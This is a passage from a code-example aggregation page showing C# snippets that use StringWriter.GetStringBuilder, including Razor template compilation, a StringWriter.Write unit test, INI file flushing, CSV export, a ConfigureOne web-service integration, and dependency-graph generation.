        FreezeChildControls(divShoppingCart.Controls);
        divShoppingCart.RenderControl(w);
        emailbody += sw.GetStringBuilder() + "</body></html>";

        Common.SendMail(emailto, emailfrom, emailsubject, emailbody, smtpserver, emailcc, emailbcc);

        LoadDanhMuc(0);
        ShowShoppingCart();
    }
Ejemplo n.º 32
0
        protected TemplateBase MakeRazorTemplate(string template)
        {
            // Construct a razor templating engine and a compiler
            var engine       = SetupRazorEngine();
            var codeProvider = new CSharpCodeProvider();

            // Produce generator results for all templates
            GeneratorResults results = null;
            string           code    = null;

            using (var r = new StringReader(template)) {
                // Produce analyzed code
                results = engine.GenerateCode(r);

                // Make a code generator
                using (var sw = new StringWriter()) {
                    codeProvider.GenerateCodeFromCompileUnit(results.GeneratedCode, sw, new System.CodeDom.Compiler.CodeGeneratorOptions());
                    code = sw.GetStringBuilder().ToString();
                }
            }

            // Construct a new assembly for this
            string outputAssemblyName = String.Format("Temp_{0}.dll", Guid.NewGuid().ToString("N"));
            var    compiled           = codeProvider.CompileAssemblyFromDom(
                new CompilerParameters(new string[] {
                typeof(Program).Assembly.CodeBase.Replace("file:///", "").Replace("/", "\\")
            }, outputAssemblyName),
                results.GeneratedCode);

            // Did the compiler produce an error?
            if (compiled.Errors.HasErrors)
            {
                CompilerError err = compiled.Errors.OfType <CompilerError>().Where(ce => !ce.IsWarning).First();

                // Print out debug information
                var msg = $"Error Compiling Template (Line {err.Line} Col {err.Column}) Err {err.ErrorText}";
                Console.WriteLine(msg);
                Console.WriteLine("=======================================");
                var codelines = code.Split('\n');
                for (int i = Math.Max(0, err.Line - 5); i < Math.Min(codelines.Length, err.Line + 5); i++)
                {
                    Console.WriteLine(codelines[i]);
                }
                throw new Exception(msg);

                // Load this assembly into the project
            }
            else
            {
                var asm = Assembly.LoadFrom(outputAssemblyName);
                if (asm == null)
                {
                    throw new Exception("Error loading template assembly");

                    // Get the template type
                }
                else
                {
                    Type typ = asm.GetType("RazorOutput.Template");
                    if (typ == null)
                    {
                        throw new Exception(String.Format("Could not find type RazorOutput.Template in assembly {0}", asm.FullName));
                    }
                    else
                    {
                        TemplateBase newTemplate = Activator.CreateInstance(typ) as TemplateBase;
                        if (newTemplate == null)
                        {
                            throw new Exception("Could not construct RazorOutput.Template or it does not inherit from TemplateBase");
                        }
                        else
                        {
                            return(newTemplate);
                        }
                    }
                }
            }
        }
Ejemplo n.º 33
0
        public async Task <bool> WriteHtmlTextFileAsync(string fileName,
                                                        StringWriter writer)
        {
            bool bHasSaved = false;

            using (writer)
            {
                bHasSaved = await WriteTextFileAsync(fileName,
                                                     System.Net.WebUtility.HtmlDecode(writer.GetStringBuilder().ToString()));
            }
            return(bHasSaved);
        }
Ejemplo n.º 34
0
    public bool runTest()
	{
		Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
		int iCountErrors = 0;
		int iCountTestcases = 0;
		String strValue = String.Empty;
        Char[] chArr = new Char[]{
			Char.MinValue
			,Char.MaxValue
			,'\t'
			,' '
			,'$'
			,'@'
			,'#'
			,'\0'
			,'\v'
			,'\''
			,'\u3190'
			,'\uC3A0'
			,'A'
			,'5'
			,'\uFE70' 
			,'-'
			,';'
			,'\u00E6'
		};
		try {
			StringWriter sw = new StringWriter();
			iCountTestcases++;
			try {
				iCountTestcases++;
				sw.Write(null, 0, 0);
				iCountErrors++;
				printerr( "Error_5787s! Expected exception not thrown, sw=="+sw.ToString());
			} catch (ArgumentNullException) {
		    }
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "ERror_91098! Unexpected exception thrown, exc=="+exc.ToString());
		}
        iCountTestcases++;
        for(int iLoop = 0 ; iLoop < iArrInvalidValues.Length ; iLoop++ ){
    		try {
    			StringWriter sw = new StringWriter();
    			try {
    				sw.Write(chArr, iArrInvalidValues[iLoop], 0);
    				iCountErrors++;
    				printerr( "Error_298vy! Expected exception not thrown, sw=="+sw.ToString());
    			} catch (ArgumentOutOfRangeException) {
    			} 
    		} catch (Exception exc) {
    			iCountErrors++;
    			printerr( "Error_98y89! Unexpected exception thrown, exc=="+exc.ToString());
    		} 
        }
        iCountTestcases++;
        for(int iLoop = 0 ; iLoop < iArrInvalidValues.Length ; iLoop++ ){
    		try {
    			StringWriter sw = new StringWriter();
    			try {
    				sw.Write(chArr, 0, iArrInvalidValues[iLoop]);
    				iCountErrors++;
    				printerr( "Error_209ux! Expected exception not thrown, sw=="+sw.ToString());
    			} catch (ArgumentOutOfRangeException) {
    			}
    		} catch (Exception exc) {
    			iCountErrors++;
    			printerr( "Error_298cy! Unexpected exception thrown, exc=="+exc.ToString());
    		}
        }
        iCountTestcases++;
        for(int iLoop = 0 ; iLoop < iArrLargeValues.Length ; iLoop++ ){
            try {
    			StringWriter sw = new StringWriter();
    			try {
    				sw.Write(chArr, iArrLargeValues[iLoop], chArr.Length);
    				iCountErrors++;
    				printerr( "Error_20deh! Expected exception not thrown, sw=="+sw.ToString());
    			} catch (ArgumentException) {
    			} 
    		} catch (Exception exc) {
    			iCountErrors++;
    			printerr( "Error_298gs! Unexpected exception thrown, exc=="+exc.ToString());
    		}
        }
        iCountTestcases++;
        for(int iLoop = 0 ; iLoop < iArrLargeValues.Length ; iLoop++ ){
            try {
    			StringWriter sw = new StringWriter();
    			try {
    				sw.Write(chArr, 1, iArrLargeValues[iLoop]);
    				iCountErrors++;
    				printerr( "Error_20deh! Expected exception not thrown, sw=="+sw.ToString());
    			} catch (ArgumentException) {
    			} 
    		} catch (Exception exc) {
    			iCountErrors++;
    			printerr( "Error_298gs! Unexpected exception thrown, exc=="+exc.ToString());
    		}
        }
		try {
			StringBuilder sb = new StringBuilder(40);
			StringWriter sw = new StringWriter(sb);
			StringReader sr;
			sw.Write(chArr, 0, chArr.Length);
			sr = new StringReader(sw.GetStringBuilder().ToString());
			Int32 tmp = 0;
			for(int i = 0 ; i < chArr.Length ; i++) {
				iCountTestcases++;
				if((tmp = sr.Read()) != (Int32)chArr[i]) {
					iCountErrors++;
					printerr( "Error_298vc_"+i+"! Expected=="+(Int32)chArr[i]+", got=="+tmp);
				}
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_298yg! Unexpected exception thrown, exc=="+exc.ToString());
		}
		try {
			StringWriter sw = new StringWriter();
			StringReader sr;
			sw.Write(chArr, 2, 5);
			sr = new StringReader(sw.ToString());
			Int32 tmp = 0;
			for(int i = 2 ; i < 7 ; i++) {
				iCountTestcases++;
				if((tmp = sr.Read()) != (Int32)chArr[i]) {
					iCountErrors++;
					printerr( "Error_2980x_"+i+"! Expected=="+(Int32)chArr[i]+", got=="+tmp);
				}
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_938t7! Unexpected exception thrown, exc=="+exc.ToString());
		} 
        iCountTestcases++ ;
        for(int iLoop = 0 ; iLoop < iArrValidValues.Length ; iLoop++ ){
            try {
    			StringBuilder sb = new StringBuilder(Int32.MaxValue/2000);
    			StringWriter sw = new StringWriter(sb);
                chArr = new Char[ Int32.MaxValue/2000 ];
                for(int i = 0 ; i < chArr.Length ; i++ )
                    chArr[i] = Convert.ToChar( rand.Next(Char.MinValue , 10000 ) );
    			sw.Write(chArr, iArrValidValues[iLoop] -1, 1);
    			String strTemp =sw.GetStringBuilder().ToString();
                if( strTemp.Length != 1) {
                    iCountErrors++;
                    printerr( "Error_5450!!!! Expected==1, got=="+strTemp.Length);
                }
    		} catch (Exception exc) {
    			iCountErrors++;
    			printerr( "Error_7875! Unexpected exception thrown, exc=="+exc.ToString());
    		}
        }
        iCountTestcases++ ;
        for(int iLoop = 0 ; iLoop < iArrValidValues.Length ; iLoop++ ){
            try {
    			StringBuilder sb = new StringBuilder(Int32.MaxValue/2000);
    			StringWriter sw = new StringWriter(sb);
                chArr = new Char[ Int32.MaxValue/2000 ];
                for(int i = 0 ; i < chArr.Length ; i++ )
                    chArr[i] = Convert.ToChar( rand.Next(Char.MinValue , 10000 ) );
    			sw.Write(chArr, 0, iArrValidValues[iLoop]);
    			String strTemp =sw.GetStringBuilder().ToString();
                if( strTemp.Length != iArrValidValues[iLoop]) {
                    iCountErrors++;
                    printerr( "Error_8450!!!! Expected==1, got=="+strTemp.Length);
                }
    		} catch (Exception exc) {
    			iCountErrors++;
    			printerr( "Error_4432! Unexpected exception thrown, exc=="+exc.ToString());
    		}
        }
		if ( iCountErrors == 0 )
		{
			Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
			return true;
		}
		else
		{
			Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
			return false;
		}
	}
Ejemplo n.º 35
0
    private void PerformFlush()
    {
        // *** If local cache was not modified, exit ***
        if (!m_CacheModified) return;
        m_CacheModified = false;

        // *** Copy content of original iniString to temporary string, replace modified values ***
        StringWriter sw = new StringWriter();

        try
        {
            Dictionary<string, string> CurrentSection = null;
            Dictionary<string, string> CurrentSection2 = null;
            StringReader sr = null;
            try
            {
                // *** Open the original file ***
                sr = new StringReader(m_iniString);

                // *** Read the file original content, replace changes with local cache values ***
                string s;
                string SectionName;
                string Key = null;
                string Value = null;
                bool Unmodified;
                bool Reading = true;

                bool Deleted = false;
                string Key2 = null;
                string Value2 = null;

                StringBuilder sb_temp;

                while (Reading)
                {
                    s = sr.ReadLine();
                    Reading = (s != null);

                    // *** Check for end of iniString ***
                    if (Reading)
                    {
                        Unmodified = true;
                        s = s.Trim();
                        SectionName = ParseSectionName(s);
                    }
                    else
                    {
                        Unmodified = false;
                        SectionName = null;
                    }

                    // *** Check for section names ***
                    if ((SectionName != null) || (!Reading))
                    {
                        if (CurrentSection != null)
                        {
                            // *** Write all remaining modified values before leaving a section ****
                            if (CurrentSection.Count > 0)
                            {
                                // *** Optional: All blank lines before new values and sections are removed ****
                                sb_temp = sw.GetStringBuilder();
                                while ((sb_temp[sb_temp.Length - 1] == '\n') || (sb_temp[sb_temp.Length - 1] == '\r'))
                                {
                                    sb_temp.Length = sb_temp.Length - 1;
                                }
                                sw.WriteLine();

                                foreach (string fkey in CurrentSection.Keys)
                                {
                                    if (CurrentSection.TryGetValue(fkey, out Value))
                                    {
                                        sw.Write(fkey);
                                        sw.Write('=');
                                        sw.WriteLine(Value);
                                    }
                                }
                                sw.WriteLine();
                                CurrentSection.Clear();
                            }
                        }

                        if (Reading)
                        {
                            // *** Check if current section is in local modified cache ***
                            if (!m_Modified.TryGetValue(SectionName, out CurrentSection))
                            {
                                CurrentSection = null;
                            }
                        }
                    }
                    else if (CurrentSection != null)
                    {
                        // *** Check for key+value pair ***
                        if (ParseKeyValuePair(s, ref Key, ref Value))
                        {
                            if (CurrentSection.TryGetValue(Key, out Value))
                            {
                                // *** Write modified value to temporary file ***
                                Unmodified = false;
                                CurrentSection.Remove(Key);

                                sw.Write(Key);
                                sw.Write('=');
                                sw.WriteLine(Value);
                            }
                        }
                    }

                    // ** Check if the section/key in current line has been deleted ***
                    if (Unmodified)
                    {
                        if (SectionName != null)
                        {
                            if (!m_Sections.ContainsKey(SectionName))
                            {
                                Deleted = true;
                                CurrentSection2 = null;
                            }
                            else
                            {
                                Deleted = false;
                                m_Sections.TryGetValue(SectionName, out CurrentSection2);
                            }

                        }
                        else if (CurrentSection2 != null)
                        {
                            if (ParseKeyValuePair(s, ref Key2, ref Value2))
                            {
                                if (!CurrentSection2.ContainsKey(Key2)) Deleted = true;
                                else Deleted = false;
                            }
                        }
                    }

                    // *** Write unmodified lines from the original iniString ***
                    if (Unmodified)
                    {
                        if (isComment(s)) sw.WriteLine(s);
                        else if (!Deleted) sw.WriteLine(s);
                    }
                }

                // *** Close string reader ***
                sr.Close();
                sr = null;
            }
            finally
            {
                // *** Cleanup: close string reader ***
                if (sr != null) sr.Close();
                sr = null;
            }

            // *** Cycle on all remaining modified values ***
            foreach (KeyValuePair<string, Dictionary<string, string>> SectionPair in m_Modified)
            {
                CurrentSection = SectionPair.Value;
                if (CurrentSection.Count > 0)
                {
                    sw.WriteLine();

                    // *** Write the section name ***
                    sw.Write('[');
                    sw.Write(SectionPair.Key);
                    sw.WriteLine(']');

                    // *** Cycle on all key+value pairs in the section ***
                    foreach (KeyValuePair<string, string> ValuePair in CurrentSection)
                    {
                        // *** Write the key+value pair ***
                        sw.Write(ValuePair.Key);
                        sw.Write('=');
                        sw.WriteLine(ValuePair.Value);
                    }
                    CurrentSection.Clear();
                }
            }
            m_Modified.Clear();

            // *** Get result to iniString ***
            m_iniString = sw.ToString();
            sw.Close();
            sw = null;

            // ** Write iniString to file ***
            if (m_FileName != null)
            {
                File.WriteAllText(m_FileName, m_iniString);
            }
        }
        finally
        {
            // *** Cleanup: close string writer ***
            if (sw != null) sw.Close();
            sw = null;
        }
    }
Ejemplo n.º 36
0
 public override void Flush()
 {
     _output.Write(_writer.ToString());
     _writer.GetStringBuilder().Clear();
 }
Ejemplo n.º 37
0
        private void PerformFlush()
        {
            if (!_cacheModified)
            {
                return;
            }
            _cacheModified = false;

            StringWriter sw = new StringWriter();

            try
            {
                Dictionary <string, string> CurrentSection  = null;
                Dictionary <string, string> CurrentSection2 = null;
                StringReader sr = null;
                try
                {
                    sr = new StringReader(IniString);

                    string s;
                    string SectionName;
                    string Key   = null;
                    string Value = null;
                    bool   Unmodified;
                    bool   Reading = true;

                    bool   Deleted = false;
                    string Key2    = null;
                    string Value2  = null;

                    StringBuilder sb_temp;

                    while (Reading)
                    {
                        s       = sr.ReadLine();
                        Reading = (s != null);

                        if (Reading)
                        {
                            Unmodified  = true;
                            s           = s.Trim();
                            SectionName = ParseSectionName(s);
                        }
                        else
                        {
                            Unmodified  = false;
                            SectionName = null;
                        }

                        if ((SectionName != null) || (!Reading))
                        {
                            if (CurrentSection != null)
                            {
                                if (CurrentSection.Count > 0)
                                {
                                    sb_temp = sw.GetStringBuilder();
                                    while ((sb_temp[sb_temp.Length - 1] == '\n') || (sb_temp[sb_temp.Length - 1] == '\r'))
                                    {
                                        sb_temp.Length = sb_temp.Length - 1;
                                    }
                                    sw.WriteLine();

                                    foreach (string fkey in CurrentSection.Keys)
                                    {
                                        if (CurrentSection.TryGetValue(fkey, out Value))
                                        {
                                            sw.Write(fkey);
                                            sw.Write('=');
                                            sw.WriteLine(Value);
                                        }
                                    }
                                    sw.WriteLine();
                                    CurrentSection.Clear();
                                }
                            }

                            if (Reading)
                            {
                                if (!_modified.TryGetValue(SectionName, out CurrentSection))
                                {
                                    CurrentSection = null;
                                }
                            }
                        }
                        else if (CurrentSection != null)
                        {
                            if (ParseKeyValuePair(s, ref Key, ref Value))
                            {
                                if (CurrentSection.TryGetValue(Key, out Value))
                                {
                                    Unmodified = false;
                                    CurrentSection.Remove(Key);

                                    sw.Write(Key);
                                    sw.Write('=');
                                    sw.WriteLine(Value);
                                }
                            }
                        }

                        if (Unmodified)
                        {
                            if (SectionName != null)
                            {
                                if (!_sections.ContainsKey(SectionName))
                                {
                                    Deleted         = true;
                                    CurrentSection2 = null;
                                }
                                else
                                {
                                    Deleted = false;
                                    _sections.TryGetValue(SectionName, out CurrentSection2);
                                }
                            }
                            else if (CurrentSection2 != null)
                            {
                                if (ParseKeyValuePair(s, ref Key2, ref Value2))
                                {
                                    if (!CurrentSection2.ContainsKey(Key2))
                                    {
                                        Deleted = true;
                                    }
                                    else
                                    {
                                        Deleted = false;
                                    }
                                }
                            }
                        }


                        if (Unmodified)
                        {
                            if (isComment(s))
                            {
                                sw.WriteLine(s);
                            }
                            else if (!Deleted)
                            {
                                sw.WriteLine(s);
                            }
                        }
                    }

                    sr.Close();
                    sr = null;
                }
                finally
                {
                    if (sr != null)
                    {
                        sr.Close();
                    }
                    sr = null;
                }

                foreach (KeyValuePair <string, Dictionary <string, string> > SectionPair in _modified)
                {
                    CurrentSection = SectionPair.Value;
                    if (CurrentSection.Count > 0)
                    {
                        sw.WriteLine();

                        sw.Write('[');
                        sw.Write(SectionPair.Key);
                        sw.WriteLine(']');

                        foreach (KeyValuePair <string, string> ValuePair in CurrentSection)
                        {
                            sw.Write(ValuePair.Key);
                            sw.Write('=');
                            sw.WriteLine(ValuePair.Value);
                        }
                        CurrentSection.Clear();
                    }
                }
                _modified.Clear();

                IniString = sw.ToString();
                sw.Close();
                sw = null;

                if (FileName != null)
                {
                    File.WriteAllText(FileName, IniString);
                }
            }
            finally
            {
                if (sw != null)
                {
                    sw.Close();
                }
                sw = null;
            }
        }
Ejemplo n.º 38
0
        /// <summary>
        /// Creates a csv delimited file from an IQueryable query, dumping out the 'simple' properties/fields.
        /// </summary>
        /// <param name="query">Represents a SELECT query to execute.</param>
        /// <param name="delimiter">Another delimiter to replace the default (,) .</param>
        /// <param name="createHeader">Whether or not insert header (property name) on file.</param>
        /// <param name="info">Culture</param>
        /// <remarks>
        /// If the <paramref name="query"/> contains any properties that are entity sets (i.e. rows from a FK relationship) the values will not be dumped to the file.
        /// </remarks>
        public static StringBuilder DumpCsvStringMtn(this IQueryable query, String delimiter = ",", Boolean createHeader = true, CultureInfo info = null)
        {
            if (string.IsNullOrEmpty(delimiter))
            {
                delimiter = ",";
            }

            using (var writer = new StringWriter(info ?? CultureInfo.CurrentCulture))
            {
                var firstRow = true;

                PropertyInfo[] properties = null;
                Type           type       = null;

                foreach (var r in query)
                {
                    if (type == null)
                    {
                        type       = r.GetType();
                        properties = type.GetProperties();
                    }

                    var firstCol = true;


                    if (createHeader)
                    {
                        if (firstRow)
                        {
                            foreach (var p in properties)
                            {
                                if (!firstCol)
                                {
                                    writer.Write(delimiter);
                                }
                                else
                                {
                                    firstCol = false;
                                }

                                writer.Write(p.Name);
                            }
                            writer.WriteLine();
                        }
                    }
                    firstRow = false;
                    firstCol = true;

                    foreach (var p in properties)
                    {
                        if (!firstCol)
                        {
                            writer.Write(delimiter);
                        }
                        else
                        {
                            firstCol = false;
                        }
                        DumpValueStringMtn(p.GetValue(r, null), writer, delimiter);
                    }
                    writer.WriteLine();
                }
                return(writer.GetStringBuilder());
            }
        }
Ejemplo n.º 39
0
        public static void CallConfigureOne(string key, string payload, string url)
        {
            //Timing vars
            DateTime startTime          = DateTime.Now;
            DateTime endTime            = DateTime.Now;
            TimeSpan ts                 = endTime.Subtract(startTime);
            decimal  elapsedTimeMS      = ts.Milliseconds;
            decimal  elapsedTimeSeconds = ts.Seconds;
            DateTime totalTimeStart     = DateTime.Now;
            DateTime totalTimeStop      = DateTime.Now;

            string logEvent = "CALLING C1 WEBSERVICE";

            System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            string         sURL       = url;
            HttpWebRequest objRequest = (HttpWebRequest)WebRequest.Create(sURL.ToString());

            objRequest.Method      = "POST";
            objRequest.ContentType = "text/xml";
            objRequest.Headers.Add("SOAPAction", key);
            objRequest.Timeout          = 120000;
            objRequest.ReadWriteTimeout = 120000;
            objRequest.Credentials      = new NetworkCredential(DatabaseFactory.ws_uname, DatabaseFactory.ws_password);

            logEvent = "WS creds: " + DatabaseFactory.ws_uname + ", " + DatabaseFactory.ws_password;
            if (DatabaseFactory.debugLogging)
            {
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            }

            string xmlPayload = payload;

            logEvent = "Payload: " + xmlPayload;
            if (DatabaseFactory.debugLogging)
            {
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            }

            logEvent = "URL: " + url;
            if (DatabaseFactory.debugLogging)
            {
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            }

            StringBuilder data = new StringBuilder();

            data.Append(xmlPayload);
            byte[] byteData = Encoding.UTF8.GetBytes(data.ToString());          // Sending our request to Apache AXIS in a byte array
            objRequest.ContentLength = byteData.Length;

            using (Stream postStream = objRequest.GetRequestStream())
            {
                postStream.Write(byteData, 0, byteData.Length);
            }
            XmlDocument xmlResult = new XmlDocument();
            string      result    = "";

            try
            {
                startTime = DateTime.Now;

                //return response from AXIS (if any)
                using (HttpWebResponse response = objRequest.GetResponse() as HttpWebResponse)
                {
                    StreamReader reader = new StreamReader(response.GetResponseStream());
                    result = reader.ReadToEnd();
                    reader.Close();
                    response.Close();
                }
                try
                {
                    xmlResult.LoadXml(result);
                    logEvent = "Order Retrieved";
                    System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
                }
                catch (Exception ex2)
                {
                    logEvent = "ERROR LOADING XML FROM WEB SERVICE: " + ex2.Message;
                    System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Error, 234);
                    return;
                }


                // *** LOG TIME
                endTime            = DateTime.Now;
                ts                 = endTime.Subtract(startTime);
                elapsedTimeMS      = ts.Milliseconds;
                elapsedTimeSeconds = ts.Seconds;
                logEvent           = "DEBUG: XML Order data returned from ConfigureOne in: " + Convert.ToString(elapsedTimeMS) + "ms / " + Convert.ToString(elapsedTimeSeconds) + " s";
                if (DatabaseFactory.debugLogging)
                {
                    System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
                }

                startTime = DateTime.Now;

                logEvent = "About to output XML file";
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);

                //Save XML output to object for further handling
                using (var stringWriter = new StringWriter())
                    using (var xmlTextWriter = XmlWriter.Create(stringWriter))
                    {
                        xmlResult.WriteTo(xmlTextWriter);
                        xmlTextWriter.Flush();
                        string xmlOut = stringWriter.GetStringBuilder().ToString();
                        Triggers.wsReturn = System.Xml.Linq.XDocument.Parse(xmlOut).ToString();
                    }

                logEvent = "XML output. Starting staging";
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);

                if (Triggers.caller == "ORDER")
                {
                    StagingUtilities.MapXMLToSQL(xmlResult);
                }
                if (!StagingUtilities.foundSite)
                {
                    return;
                }                                                       //order_site not in the XML, processing must be aborted
                if (Triggers.forceStop == 1)
                {
                    return;
                }

                // *** LOG TIME
                endTime            = DateTime.Now;
                ts                 = endTime.Subtract(startTime);
                elapsedTimeMS      = ts.Milliseconds;
                elapsedTimeSeconds = ts.Seconds;
                logEvent           = "DEBUG: XML data mapped to staging tables in: " + Convert.ToString(elapsedTimeMS) + "ms / " + Convert.ToString(elapsedTimeSeconds) + " s";
                if (DatabaseFactory.debugLogging)
                {
                    System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
                }
                Triggers.caller = "";
            }
            catch (WebException wex1)
            {
                logEvent = "ERROR RETURNED FROM C1 WEBSERVICE: " + wex1.Message + " : " + wex1.Response.ToString();
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Error, 234);
                return;
            }

            if (Triggers.forceStop == 1)
            {
                return;
            }

            logEvent = "Calling IMPORT of staging data to Syteline";
            System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            startTime = DateTime.Now;

            //run the C1-to-SL map as an async task
            Action MapToSytelineAsync = new Action(MapToSyteline);

            MapToSytelineAsync.BeginInvoke(new AsyncCallback(MapResult =>
            {
                (MapResult.AsyncState as Action).EndInvoke(MapResult);
            }), MapToSytelineAsync);

            //administrative HALT to give SP's time to process all coitem records
            Thread.Sleep(2500);

            //Iteratively check for SL order# 60 times (one minute)
            for (int r = 0; r < 60; r += 1)
            {
                SPOrderNumber    = DatabaseFactory.RetrieveSLCO(Triggers.pubOrderNumber);
                SPPUBOrderNumber = SPOrderNumber;
                if (SPOrderNumber != "")
                {
                    break;
                }
                Thread.Sleep(1000);
            }

            //Final attempt to retrieve the SL order# (if not found, default to using the C1 order# and notify user):
            if (SPOrderNumber == "")
            {
                SPOrderNumber    = string.IsNullOrEmpty(DatabaseFactory.RetrieveSLCO(Triggers.pubOrderNumber)) ? Triggers.pubOrderNumber : DatabaseFactory.RetrieveSLCO(Triggers.pubOrderNumber);
                SPPUBOrderNumber = SPOrderNumber;
            }

            if (SPOrderNumber == Triggers.pubOrderNumber)
            {
                SendMail.MailMessage("Syteline Order# Could Not Be Retrieved After 60 seconds.  GR_CfgImportSp stored procedure may have timed out or failed.  Documents Will Be Copied Using ConfigureOne Order# and there will be no coitem folder structure available.", "No Syteline Order# For Order: " + Triggers.pubOrderNumber);
            }

            logEvent = "Order created in Syteline is: " + SPOrderNumber;
            System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);

            logEvent = "Writing XML output file...";
            System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            OutputXMLToFile(Triggers.wsReturn);             //so file will be there for the worker-thread

            //If we have a good SL order#, we now need to check for existence of at least one coitem; iteratively check 60 times (one minute)
            int colines = 0;

            if (SPOrderNumber != Triggers.pubOrderNumber)
            {
                try
                {
                    for (int r = 0; r < 60; r += 1)
                    {
                        colines  = DatabaseFactory.CoLines(SPOrderNumber);
                        logEvent = "SECONDS = " + r.ToString() + " -> Coitem line count returned: " + colines;
                        System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
                        if (colines > 0)
                        {
                            break;
                        }
                        System.Threading.Thread.Sleep(1000);
                    }
                    if (colines == 0)
                    {
                        logEvent = "After 60 seconds Syteline order# " + SPOrderNumber + " still has no coitem records created.  This may indicate a problem or timeout occurred before GR_CfgImportSp could finish its processing.";
                        System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
                    }
                }
                catch (Exception cor)
                {
                    logEvent = "ERROR: " + cor.Message;
                    System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Error, 234);
                }
            }

            //start downloading and copying drawing files on separate thread so main thread can return control to CLR
            xmlResultParm = xmlResult;
            urlParm       = url;
            Action DrawingsAsync = new Action(StartCopy);

            DrawingsAsync.BeginInvoke(new AsyncCallback(MTresult =>
            {
                (MTresult.AsyncState as Action).EndInvoke(MTresult);
            }), DrawingsAsync);

            // *** LOG TIME
            endTime            = DateTime.Now;
            ts                 = endTime.Subtract(startTime);
            elapsedTimeMS      = ts.Milliseconds;
            elapsedTimeSeconds = ts.Seconds;
            logEvent           = "DEBUG: Staging tables mapped to Syteline in: " + Convert.ToString(elapsedTimeMS) + "ms / " + Convert.ToString(elapsedTimeSeconds) + " s";
            if (DatabaseFactory.debugLogging)
            {
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            }

            // *** LOG TOTAL TIME
            totalTimeStop      = DateTime.Now;
            ts                 = totalTimeStop.Subtract(totalTimeStart);
            elapsedTimeMS      = ts.Milliseconds;
            elapsedTimeSeconds = ts.Seconds;
            logEvent           = "DEBUG: Total execution: " + Convert.ToString(elapsedTimeMS) + "ms / " + Convert.ToString(elapsedTimeSeconds) + " s";
            if (DatabaseFactory.debugLogging)
            {
                System.Diagnostics.EventLog.WriteEntry(Triggers.logSource, logEvent, System.Diagnostics.EventLogEntryType.Information, 234);
            }
        }
        private static void GenerateGraph(Options options)
        {
            var dependencyGraph = DependencyGraphSpec.Load(options.DependencyGrapthPath);
            var graph           = new Graph <string>();
            var projectVersions = new Dictionary <string, string>();

            foreach (var project in dependencyGraph.Projects.Where(p => p.RestoreMetadata.ProjectStyle == ProjectStyle.PackageReference))
            {
                //filtering test
                if (project.Name.Contains("test", StringComparison.OrdinalIgnoreCase))
                {
                    continue;
                }
                graph.AddVertex(project.Name);
                projectVersions.Add(project.Name, project.Version.ToNormalizedString());
            }

            foreach (var project in dependencyGraph.Projects.Where(p => p.RestoreMetadata.ProjectStyle == ProjectStyle.PackageReference))
            {
                //filtering test
                if (project.Name.Contains("test", StringComparison.OrdinalIgnoreCase))
                {
                    continue;
                }
                Console.WriteLine(project.Name);
                HashSet <string> dep = new HashSet <string>();
                foreach (var targetFramework in project.TargetFrameworks)
                {
                    foreach (var dependency in targetFramework.Dependencies)
                    {
                        //remove duplication
                        if (dep.Contains(dependency.Name))
                        {
                            continue;
                        }
                        dep.Add(dependency.Name);
                        if (graph.Vertices.Any(v => v == dependency.Name))
                        {
                            var notLastVersion = projectVersions[dependency.Name] != dependency.LibraryRange.VersionRange.ToShortString();
                            var attributes     = new Dictionary <string, string>()
                            {
                                { "label", dependency.LibraryRange.VersionRange.ToShortString() }
                            };
                            if (notLastVersion)
                            {
                                attributes.Add("color", "red");
                            }
                            else
                            {
                                attributes.Add("color", "green");
                            }
                            graph.AddEdge(new Edge <string>(project.Name, dependency.Name, attributes: attributes));
                        }
                    }
                }
            }

            var writer = new StringWriter();

            new GraphToDotConverter().Convert(writer, graph, new AttributesProvider(projectVersions));
            var graphContent = writer.GetStringBuilder().ToString().Trim();
            var dotFile      = Path.ChangeExtension(options.OutputFilePath, "dot");

            File.WriteAllText(dotFile, graphContent);
            var dotExec   = Path.Combine(options.GraphvizBinPath, "dot.exe");
            var arguments = $"-Tjpg {dotFile} -o {options.OutputFilePath}";

            ProcessAsyncHelper.ExecuteShellCommand(dotExec, arguments, int.MaxValue).Wait();
        }
Ejemplo n.º 41
0
        public async Task UpdateBrowser(ITextSnapshot snapshot)
        {
